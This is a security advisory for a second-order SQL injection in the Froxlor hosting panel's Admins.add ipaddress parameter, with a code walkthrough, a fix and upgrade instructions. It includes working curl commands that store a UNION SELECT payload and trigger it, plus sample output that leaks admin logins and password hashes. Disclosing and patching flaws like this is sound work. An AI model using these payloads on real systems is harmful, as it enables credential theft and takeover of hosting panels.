VDB
KO
HIGH 7.2

GHSA-w27m-rmmf-g5w4

Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration

Quick fix

GHSA-w27m-rmmf-g5w4 — froxlor/froxlor: upgrade to the fixed version with the command below.

composer require froxlor/froxlor:^2.3.8

Details

### Summary

A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the `panel_admins.ip` column via the `Admins.add` or `Admins.update` endpoint. The payload executes as a UNION-based SQL injection the next time `IpsAndPorts.listing` is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.

---

### Details

The vulnerability spans two code locations that form a store-then-trigger chain.

**Stage 1 — Unsanitized array stored as JSON** — `lib/Froxlor/Api/Commands/Admins.php:251,358`

```php $ipaddress = $this->getParam('ipaddress', true, -1); // No type enforcement or content validation on $ipaddress. // PHP evaluates (is_array([...]) && non_empty_array > 0) as true, // so any attacker-controlled array is JSON-encoded and stored verbatim. 'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && $ipaddress > 0 ? json_encode($ipaddress) // ← attacker payload written to panel_admins.ip : -1), ```

The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.

**Stage 2 — JSON payload imploded directly into SQL** — `lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77`

```php if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) { // json_decode restores the array; implode joins elements with no casting or escaping $ip_where = "WHERE `id` IN (" . implode(", ", json_decode($this->getUserDetail('ip'), true)) . ")"; } $result_stmt = Database::prepare( "SELECT * FROM `panel_ipsandports` " . $ip_where . ... ); // Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (<PAYLOAD>) ```

The same unsanitized implode pattern exists in `lib/Froxlor/Api/Commands/Domains.php:1016`.

Every other place in the codebase that builds dynamic `IN` clauses uses either integer casting (`(int)`) or parameterized subqueries. The `ip`-column path is the sole exception.

---

### PoC <img width="2452" height="1476" alt="image" src="https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95" />

**Prerequisites:** Valid Froxlor admin API key with `change_serversettings = 1`.

**Step 1 — Poison: store the UNION SELECT payload via `Admins.add`**

```bash curl -s -u "APIKEY:SECRET" http://TARGET/api.php \ -H "Content-Type: application/json" \ -d '{ "command": "Admins.add", "params": { "name": "x", "new_loginname": "eviladmin", "email": "x@x.local", "admin_password": "Passw0rd!123", "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"] } }' ```

The `ip` column of `panel_admins` for `eviladmin` now contains: ``` ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"] ```

**Step 2 — Trigger: call `IpsAndPorts.listing` as the poisoned account**

No interaction beyond a single API call. Visiting the following URL while authenticated as `eviladmin` is sufficient:

``` http://TARGET/admin_index.php?page=ipsandports ```

Or directly via API:

```bash curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \ -H "Content-Type: application/json" \ -d '{"command":"IpsAndPorts.listing"}' ```

**Confirmed output from live instance (`localhost:8290`):**

```json { "data": { "list": [ { "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" }, { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" } ] } } ```

The `ip` field returns `loginname` and `port` returns the bcrypt password hash of every administrator in the database.

**Minimum reproduction — two CMD single-line commands:**

Step 1: poison (run once with any admin API key that has `change_serversettings=1`):

```cmd curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"new_loginname\":\"poc\",\"email\":\"x@x.local\",\"admin_password\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]}}" ```

Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):

```cmd curl -su "POC_APIKEY:POC_SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}" ```

**Confirmed output from live instance (`localhost:8290`) — step 2 alone:**

```cmd curl -su "evil_key_abc123:evil_secret_xyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}" ```

```json { "data": { "list": [ { "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" }, { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" } ] } } ```

---

### Impact

**Type:** Second-Order SQL Injection (UNION-based)

**Who is impacted:** Any Froxlor installation with the API enabled and at least one admin account that has `change_serversettings = 1`. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.

Consequences:

- **Full credential dump** — all admin and customer login names and bcrypt password hashes are extractable in a single request. - **Lateral movement** — cracked hashes allow login to other admin accounts or customer accounts. - **Data exfiltration** — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys. - **Privilege escalation** — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.

---

### Fix

**Option A (recommended) — Integer-cast all elements before implode:**

```php // lib/Froxlor/Api/Commands/IpsAndPorts.php:72 $ip_ids = array_map('intval', json_decode($this->getUserDetail('ip'), true)); $ip_where = "WHERE `id` IN (" . implode(", ", $ip_ids) . ")"; ```

**Option B — Validate at storage time in `Admins.add` / `Admins.update`:**

```php // lib/Froxlor/Api/Commands/Admins.php if (is_array($ipaddress)) { $ipaddress = array_filter($ipaddress, 'is_numeric'); } 'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && count($ipaddress) > 0 ? json_encode(array_map('intval', $ipaddress)) : -1), ```

Apply the same fix to the identical pattern in `Domains.php:1016`.

---

Are you affected?

Enter the version of the package you're using.

Affected packages

Packagist / froxlor/froxlor
Introduced in: 0 Fixed in: 2.3.8
Fix composer require froxlor/froxlor:^2.3.8

References